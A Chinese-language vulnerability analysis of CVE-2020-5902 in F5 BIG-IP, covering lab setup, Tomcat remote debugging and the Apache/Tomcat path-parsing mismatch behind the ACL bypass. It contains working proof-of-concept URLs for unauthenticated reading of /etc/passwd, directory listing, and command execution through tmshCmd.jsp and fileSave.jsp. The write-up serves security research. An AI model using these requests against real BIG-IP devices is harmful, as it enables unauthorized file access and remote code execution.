CVE-2020-5902: F5 BIG-IP RCE 漏洞分析
前言
今年F5 BIG-IP的RCE漏洞CVE-2020–5902，其实之前看了一些该漏洞的分析文章，发现漏洞原理还是很简单的，关键点就是 Orange 在Blackhat 2018演讲的议题(见参考[1])中提到的反向代理和Web Server对URL的解析不一致从而导致ACL被绕过。
但是在我实际调试的过程中，还是遇到了坑点。因为先前看到的几篇发表在国内安全社区的关于该漏洞的分析文章存在错误，从而导致我在自己调试分析的时候先入为主地在错误的方向浪费了些时间。所以本文除了记录自己对该漏洞的调试分析过程外，还会提及自己遇到的坑。
搭建漏洞环境
庆幸的是，F5官方提供了BIG-IP产品各个版本的虚拟机环境。只需在 F5官网下载存在漏洞版本的虚拟机镜像，然后将下载得到的ova文件导入虚拟机即可。
启动虚拟机后，默认账号/密码为： root/default ，首次登陆后需要修改密码。
访问管理页面如下，说明环境是ok的。
漏洞复现
1、任意文件读取
#PoC:
https://xxxx/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
2、列出目录项
#PoC:
https://xxxx/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/tmui
3、RCE
3.1 先设置 list 为 bash 的别名
https://xxxx/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
3.2 通过 fileSave.jsp 实现文件写入，内容为要执行的命令：
在虚拟机中可以看到 /tmp/testcmd 被成功写入要执行的命令：
3.3 执行命令(前提是需要用户登录)
#反弹shell
实现反弹shell，同上面一样，利用 fileSave.jsp 写入反弹shell的命令即可：
执行命令获取反弹shell：
可以看到，通过 /tmui 这个入口实现RCE其实比较鸡肋，因为需要用户登录。如果你可以进行用户登录，根本无需通过 /..; 来绕过ACL，而是直接访问 /tmui/tmui/locallb/workspace/tmshCmd.jsp 或 /tmui/tmui/locallb/workspace/fileSave.jsp 便可达到目的。
你可能想说，未登录的情况下， 可通过https://xxxx/tmui/login.jsp/..;/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp写入webshell不就好了？实际上不可以，因为默认情况下， /usr 目录是以只读权限进行挂载的，故无法在站点目录 /usr/local/www写入文件。
搭建漏洞调试环境
这里我使用IDEA搭建远程调试环境。
首先，F5 BIG-IP 是 Apache+Tomcat 即反向代理+Web容器这样的后端架构。执行 netstat -anp |grep 443 可以看到443端口对应的服务就是Apache。
那么，网站web目录在哪里呢？可通过查看Apache的配置文件/etc/httpd/conf/httpd.conf 获悉，如下图，可知网站目录在 /usr/local/www 下。
从上面的PoC可知，漏洞入口在 /tmui ，所以这里把 /usr/local/www/ 下的 /tmui 目录拷到本地以便后续调试使用。
一般来说，Tomcat开启调试只需以 jpda模式运行 catalina.sh脚本 catalina.sh jpda start ，但在该虚拟机上并未找到该脚本, 也没有找到 Tomcat 的自带的启动脚本 startup.sh
那么Tomcat是如何启动的？下面查看进程信息：
可以看到一个疑似启动脚本 /usr/sbin/dtomcat，查看其内容：
可以看到，它是使用 java 直接运行 BootStrap 来启动Tomcat的。因此这里添加以下启动参数来开启Tomcat的调试模式，指定调试端口为 8777:
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777但默认情况下 /usr 是以只读模式挂载：
执行以下命令以可写方式重新挂载 /usr ：
mount -o remount w /usr
添加启动参数并保存，然后重启虚拟机。
此时，Tomcat便以调试模式启动。但本机telnet到虚拟机的 8777 端口不通。 nmap 探测 8777 端口发现是 filtered 状态。猜测可能是虚拟机防火墙的策略导致。
尝试使用 iptables 尝试修改防火墙规则，结果使用 iptables 命令时，系统提示如下：
Use the TMOS shell utility to make changes to the system configuration.
For more information, see "tmsh help security firewall management-ip-rules"
由此可看出，F5提供的这个虚拟机环境，使用了自己的防火墙管理工具。
于是根据提示执行 tmsh help security firewall management-ip-rules , 可获取防火墙策略设置方法：
于是，添加防火墙规则，放行 8777 端口入站，如下：
modify management-ip-rules rules add { allow-access-8777 { action accept destination { ports add { 8777 } } ip-protocol tcp place-before first } }
添加防火墙规则后，用nmap扫描发现 8777 端口通了。
接下来就是在IDEA设置好远程调试的配置。
将虚拟机拷贝出来的 tmui 目录导入IDEA，然后将 tmui/WEB-INF 目录下的 classes 和 lib 目录都添加为该工程的依赖库，因为这两个目录包含了 tmui 工程的所有 .class 和 .jar 。另外，为了后面可以调试分析Tomcat对 /..;/ 的处理，我这里把虚拟机中Tomcat的相关jar也拷到本地，并添加为 tmui 工程的依赖库。
添加依赖库的配置如下图所示。
配置远程调试。
启动调试后，访问前面的PoC，断点可以正常断下：
漏洞分析
坑
在自己开始调试分析这个漏洞前，我先是看了篇国内某个安全社区的分析文章，里面是从 WEB-INF/web.xml 文件入手，然后看到 com.f5.controller.ControlServlet 这个Servlet有设置 load-on-startup 属性，便开始使用 jd-gui 对 tmui.jar 反编译，然后莫名其妙地开始对 com.f5.controller.ControlServlet 中的 doGet/doPost方法进行源码跟踪分析。
因为从 com.f5.controller.ControlServlet 对应的 <servlet-mapping> 可知，它的 <url-pattern>与上面提到的漏洞PoC的URL路径根本匹配不上。
而且，我在实际调试的时候，在 com.f5.controller.ControlServlet 中的 doGet() 方法下断点，无论是我未登录情况下访问 https://xxxx/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd ，还是在登录情况下访问 https://xxx/tmui/tmui/locallb/workspace/fileRead.jsp?fileName?fileName=/etc/passwd ， ControlServlet 里的断点都没被触发。
但 fileRead_jsp.class 中下的断点是能被触发的。
所以我都怀疑那篇文章的作者都没实际调试过这个漏洞(Oh, My God…)。
因此我认为这个漏洞产生的原因与 com.f5.controller.ControlServlet 无关。
漏洞原理
前面一开始就说到，这个漏洞的关键点是反向代理和Web Server对URL的解析不一致从而导致ACL被绕过。以任意文件读取为例：
#PoC:
https://xxxx/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd1、未登录情况下，访问该PoC便可读取系统文件 /etc/passwd 。
2、登录情况下，访问 https://xxxx/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd 便可读取系统文件 /etc/passwd 。
3、未登录情况下，访问 https://xxxx/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd 会跳转到登录页面： https://xxxx/tmui/login.jsp
可以看出，上面的PoC是绕过了权限校验从而访问到后台 /fileRead.jsp 对应的servlet类 org.apache.jsp.tmui.locallb.workspace.fileRead_jsp 。
从Orange的议题，我们可以知道，Apache会把 /..;/ 当作一个正常目录去对待，而Tomcat会把它当作父目录，所以上面的PoC，当Apache将请求转发到Tomcat时，Tomcat会把它看作是: https://xxxx/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd 。
而且可以在未登录情况下成功读取 /etc/passwd 文件的内容，这说明权限校验并非在Tomcat这边，而是在Apache。
查看Apache的配置，可以看到 /tmui 路径是启用了PAM认证。
但 /tmui/login.jsp 这个路径是不需要进行权限认证的，所以应该是F5 BIG-IP自行实现了PAM认证模块。但具体是在哪里实现的，我并无头绪。后来也是在网上看到nccgroup发的文章(参考[3])，才知道是在 mod_auth_pam.so和 mod_f5_auth_cookie.so中实现的，这两个共享库在 /usr/lib/httpd/modules路径下。由于本人现阶段二进制逆向分析能力不足，所以也只能参考nccgroup的文章来简单说一说。
把 mod_f5_auth_cookie.so 拖到 Ghidra 中，可以看到它对请求的URL路径的前15个字节和 /tmui/login.jsp 进行比较，如果相等则不进行权限校验。所以也就能解释为何 https://xxxx/tmui/login.jsp/..;/ 能绕过Apache的PAM权限认证从而让Apache把请求转发到后端的Tomcat。
Apache将某些路径的请求转发到Tomcat的相关规则，在文件/conf/httpd/conf.d/proxy_ajp.conf 中进行了配置，其中，对于 /tmui 路径的转发规则如下：
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5— Apache与Tomcat对分号 ; 的解析差异
Apache httpd会把URL中的分号解释为用于路径解析的普通字符，而Tomcat将分号解释为查询分隔符(类似于问号 ?)。
因为Tomcat是支持 Path Parameters 的，比如 http://xxxx/test.jsp;param=123 ，它定义了路径段 /test.jsp 有一个值为 123 的路径参数 param 。换言之，访问 /test.jsp;param=123 对访问 /test.jsp 页面毫无影响。
— -
Tomcat获取到Apache httpd转发过来的请求后，会对请求的URL路径进行处理，其中就包括去掉 Path Parameters ，以上面的读取任意文件的PoC为例,
https://xxxx/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd去掉 Path Parameters 后，变成了:
https://xxxx/tmui/login.jsp/../tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
然后，Tomcat再对URL进行规范化处理，会把 /../ 解释为父目录，故最后变为：
https://xxxx/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd最后就是根据路径匹配对应的servlet进行处理
最后
到此，该漏洞的 /tmui 入口就分析结束。因为篇幅过长，该漏洞的另一个入口 /hsqldb ，留到下一篇文章再继续。
另外，我想说，这个漏洞的 /tmui ，原理虽然比较简单，但通过动手调试，虽然采了坑，但还是学到了不少知识，比如Apache和Tomcat之间是如何组合到一起提供服务的，Apache和Tomcat对URL的解析不一致的问题，以及了解到了F5 BIG-IP使用了自己实现的防火墙等。
